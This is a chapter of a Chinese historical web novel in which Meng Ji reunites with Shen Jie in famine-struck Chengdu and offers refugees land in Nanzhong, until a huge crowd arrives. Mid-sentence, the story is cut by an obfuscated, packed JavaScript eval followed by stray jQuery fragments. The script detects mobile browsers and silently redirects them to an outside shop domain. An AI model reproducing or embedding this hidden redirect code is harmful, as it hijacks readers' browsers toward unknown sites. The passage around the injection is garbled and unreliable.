“呀!这不是……”
沈介还没回过神来,一个中气十足的声音便从两人身后传来。
孟霁扭头一看,是王畴殷和许玉娘抬着个食盆,刚从门里出来。
一见沈介,两个娘子干脆把食盆放一边,不住打量着人家。
王畴殷忍不住啧啧称奇,“孟郎的画简直神了,这简直一模一样!”
“黄天后土庇佑,还真叫郎君找着了!”许玉娘也念了一句。
他们这边一吵嚷,这粥摊前等饭吃的饥民便都围了过来,看稀奇似地把沈介围在当中。
“这就是那值一石米的郎君?”
“嘿!还真是他!”
“原来这世上竟当真有这么俊的郎君。”
“…………”
沈介一时窘极,一双眼睛求助似地看向孟霁。
然而孟霁根本无视他的目光,只背着手站在人群外面,一副事不关己,看热闹的模样。
——这大抵是还没消气呢。
王畴殷最不见外,沈介这个年纪,同她死在逃难路上的儿子也差不多大,竟是直接拿他当自家小子教训起来。
“你这娃子,怎么说跑就跑了呢!你可知道孟郎君找你找得多辛苦!这可是乱世!你一个人在外面跑,也不想想家里人有多担心!”
她这一开头,那些饥民便也跟着帮腔。
这个说:“就是,我们都看到了,孟郎君为了找你,早上天不亮就出门,晚上黑透了才回来。”
那个说:“这不论是刮风天,还是落雨天,他都出去找你!”
“…………”
孟霁站在外围,见沈介叫人围在中间数落,却是一点不反驳,人家说他什么,他都应,简直好欺负极了。
孟霁到底是不愿让自己的人叫外人欺负了去。
她清了清嗓子,从外面挤到了沈介面前,正要开口解围,却猝不及防地撞上了沈介一双发红的眼。
当沈介知道孟霁一直在找自己的时候,他曾一度强迫自己不要去多想,不要心软。
可此时,当他亲耳听到孟霁为他做的一切,亲眼看到那副栩栩如生的炭画,他勉力维持的自欺欺人,便在陡然间碎成了粉末。
一想到孟霁这一年来的辛苦,沈介的一颗心便止不住地抽痛。
“明彻……”
他的声音浸透了愧疚,以至于有些发颤,“对不住,我不该,不该一个人偷偷跑了,累得你一直为我担心奔波。”
这一年来,为着沈介生死不知,孟霁日日提心吊胆,倒从未在意过寻人的辛苦。
可就在沈介用那样的目光,牢牢地望住她时,她的心底里却忽然生出一股难以名状的委屈来。
就像是打开了什么不得了的阀门,情绪从五脏六腑冒了出来,一发不可收拾。
于是,她别过了有些发酸的眼睛,不肯看他。
王畴殷那颗护犊子的心,便提了起来,“这沈郎君,光说嘴有什么用!”
沈介给她一提醒,便自以为明了了,他往前迈了半步,恳切又郑重地做出了自己的承诺。
“明彻,以后,你叫我去哪里,我就去哪里。再不会一个人乱跑了。”
孟霁又把头扭回来,“那我叫你跟我回南中,你可答应?”
沈介忙不迭点头,“我都听你的。”
“那好,”她很满意,“这两日收拾收拾行李,咱们后日就出发。”
几乎是孟霁话音落下的一瞬,人群蓦然安静了下来。
最先开口的,依旧是王畴殷,她试试探探底问道:“孟郎君这是打算归乡了吗?”
孟霁略一颔首,“我留在成都,本就是为了找人,眼下既然人已经找到了,便也没有留下来的必要了。”
她先看向王畴殷,“我叫人租了一只大船,凡我府中的娘子,若是肯跟我走的,到时候皆可以一同上船。”
又看向围拢的饥民,“我府中还有一些粮米,大家稍待,我去叫人给大家分一分。”
孟霁说完拽了拽沈介的袖子,示意他跟自己进府。
两人刚迈出一步,人群中便传出来一个惶然的声音,“郎君这一走,我们却都活不下去了。”
“郎君果然不肯再管我们了吗?”这是另一个绝望的声音。
不知道第一声啜泣是从谁那里发出来的,转瞬便传染了整个人群。
孟霁的一只脚刚迈过门槛,另一只脚便陷入了哭声与哀告声的泥淖中,怎么都拔不出来了。
她便只好转回身来,看向哀哀的饥民。
那里面有老人,也有少年,有女人,也有男人——
她曾经下令,不给青壮男子分发食物,因为她不想养那些好吃懒做,还要给她惹是生非的闲汉。
可是随着成都战况的急转直下,老弱旋即凋零,便是青壮年的汉子,也只剩下了一口气、一层皮,倒也就不存在什么闲汉了。
是以眼前的饥民,倒反而是壮年的男女占大多数。
孟霁叹了一口气,朝人群一拱手。
“孟某根基不在此间,成都眼下这个样子,便是孟某肯留下来,也未必能有余力庇护诸位。”
可这样的话,显然是无法安抚住这群走投无路的饥民的。
他们只知道晋廷不会管他们,罗刺史更看不到他们,眼前这个孟善人,是他们唯一的救命稻草了。
有人哭着跪了下来,“孟郎君救护我们这么长时间,我们只有感恩戴德,按说不该再提什么要求,只是郎君一去,我们再无生理。”
所有人也都跟着跪了下来,哭声连成了一片。
“诶,你们别这样。”
眼见着这么多人,把生的希望都寄托在自己身上,孟霁有些诚惶诚恐,可她又能怎么办呢?
她只有十几个部曲,就是全留在这里,也不可能左右成都的局势。
“你们都起来。”孟霁伸手拉了这个,又去拉那个,然而没有人肯起来,所有人只顾哐哐给她磕头。
孟霁在拉住下一个人时,赫然发现那人竟是王畴殷,她不由奇问:“王大娘,你这是不打算跟我们走吗?”
王畴殷的哭声便更大了,“不瞒郎君,我是千万个愿意跟郎君走的,只是……只是我还有个夫郎,我们老夫老妻这么多年过来了,唯一的儿子又折在路上了,我实在是不忍丢下他一个人。我们老两口,若是能死在一处,便也是我们的造化了。”
许是被勾起同样的伤痛,人群的哭声轰然变大。
孟霁没料到场面会变成这个样子,终于是手足无措了。
“明彻。”
一直默默站在孟霁身后的沈介忽唤了她一声。
孟霁回头,一见沈介的神色便知道他有了法子,立刻附耳过去。
沈介把手掌拢在嘴边,轻声问道:“你那龙头山下的地,可都还抛荒着?”
他的话没头没尾,可是孟霁当即便明了了他的意思。
于是孟霁的眼睛就亮了起来,那的确是一个两全的法子。
她转向那些饥民,清了清嗓子。
哭声当场小了许多,所有人都竖起了耳朵。
孟霁朗声道:“孟某虽不能再留在成都,可若是大家肯到朱提来寻我,孟某却也能给大家安置一个去处。”
一个瘦得颧骨高耸的男子抬起头来,不敢相信地望着她,“我们所有人都可以安置吗?”
所有人便都把头抬起来,希冀地望着孟霁。
孟霁慎重点头,“只要到了我龙头山下,孟某保证,人人都有一块地种。”
*
到临行前,一切都很顺利。
孟霁让林映统计了要跟着他们一起坐船走的女娘,又叫阿哈嗼安排着把不打算带走的粮米分发了下去。
抽空她还问了一下那个“出卖”沈介的小道童。
那小道童这两日在饥民里寻了又寻,也没寻见她的亲人。
却又从饥民口中得知了成都这些日子的惨事,以为自己的亲人亦难以幸免,哭得眼睛都肿了。
孟霁问她日后的打算,那娃子也只是抽抽噎噎,不肯答话。
最后还是沈介这个师兄拿的主意,请孟霁派了两个部曲,把这小娃子送回了长生观去。
事情出在他们出发的那天清晨。
那天一早,部曲们早已收拾妥当,赶着马,带着辎重,引着女娘们准备先行一步出城登船。
孟霁却是不紧不慢地,在灶房吃朝食。
孟霁早就习惯了跟部曲们在灶房吃饭。
今日也不例外,她抱着一碗刚起锅的馎饦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057904|134606||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,往门边随意那么一靠,就吸溜了起来。
冬日的清晨,太阳依旧不知藏在哪一片云后,空气中弥漫着散不去的冰寒之气。
沈介过来找孟霁的时候,几乎是绷着身体,不肯露出半点瑟缩之意。
孟霁这一年来,占了他原本的屋子,沈介便只好住了紧邻的厢房。
两个屋子之间,不过是两步路的距离。沈介原本以为孟霁早上会来找自己一起去吃饭,谁料及至等到他收拾清爽了,孟霁也没出现。
沈介便只好自己过来敲孟霁的门,可屋门打开,里面只有一个正在收拾东西的阿哈嗼。
他这才知道孟霁已经自己去了灶房,复又匆匆找来。
走过转角,他便看到了靠在灶房门边的孟霁。
热气从她碗里腾腾地往上冒,于是她的脸便好似埋进了白雾里,氤氲得看不分明。
那一瞬,沈介的心底蓦的透出一股暖意,那种令他难受的寒冷陡然间就这么消失无踪了,他紧绷的身体便也跟着放松了下来。
他就站在那里,脉脉地看着她。
一个念头忽的闪进他的心头——
这个冬天一定会比上一个冬天好过许多。
“涧松,快来,”孟霁也看见了沈介,那双上挑的凤眼便弯了起来,她扬声招呼他,“灶台上还给你留着一碗。”
“好。”他含笑应了,迈步走进了灶房。
灶台上果然还温着一碗馎饦,正腾着同孟霁手中那碗如出一辙的热气。
沈介心中无比熨帖地端起他那一碗,却并不开吃,只是原地转了一圈,那张一向机灵的脸上便显出了几分迷茫。
“找什么?”孟霁问他。
“这里没有坐席吗?”沈介懵然地看向孟霁。
“灶房哪里来的坐席?”孟霁看向沈介,忽意识到什么,“……你该不会从来没进过这间灶房吧?”
“惭愧。”沈介有些赧然。
“诶!我忘了,”孟霁一拍脑门,“君子远庖厨么,是我倏忽了,我该叫人给你端到屋里吃的。”
“无妨,我和你一起站着吃。”沈介说着,便取了竹箸,往门口走来,也学着孟霁的模样,开始胡噜那碗馎饦。
谁能想到,像沈介这样从来行止有节的世家贵公子,竟也肯端着碗站在灶房门口吃饭!
……还别说,他这模样却也是别有一番风姿。
孟霁吃着碗里的,却忍不住一而再,再而三地拿眼睛瞧人家。
就在两人吃得正香的时候,忽然马海阿图快步冲了来,隔老远便听到他嚷:“大王,不好了!你快来看看!”
沈宅的门口是一条挺宽敞的坊巷,平素容纳个数百人在这里排队施粥,都不会觉得打挤。
孟霁从未想过有一天,这条巷道会被人挤得如此满当!
从沈宅的台阶下开始,直到巷子拐角处,全是黑压压的人头!
“这……这是什么情况?”孟霁瞪着那不知有多少人的巷道,几乎傻眼。
“我刚刚问过了,”奢阿呷显然也被这阵势搞得有些没回过神来,“他们说,听闻大王肯在南中给他们分地,都愿意跟随大王到南中去。”
台阶下,离得近的一个男子接话道:“我们都愿意做郎君的田客,却不知……”
他回头看了看身后的人群,又有些忐忑地看向孟霁,“……若是有这么多人,郎君还肯收吗?”
他旁边的人也七嘴八舌地跟着问道:“是呀,郎君可愿意把我们都收了么?”
声浪从人潮的前端波到巷子的那一端,却又从那一头卷回了孟霁跟前。
无数双眼睛就这么盯着她,望着她,希望从她的身上看到生的希望。
“孟郎大善之心,成都人尽皆知,孟郎定是愿意怜贫惜贱的。”
——孟霁听到有人这样说,那人措辞笃定,可语气里却分明藏着犹疑。
孟霁没有立刻说话,而是再度扫视全场,希望能粗略估计出这里的人数。
——光是堵在巷子里的,怕就不止千数,巷子后面还不知有凡几。
这么多的人,又岂是光凭着一个善心,就可以尽数收容的?
连马海阿图都意识到了问题所在,小声跟奢阿呷嘀咕:“咱们龙头山下的地,怕根本不够分吧?”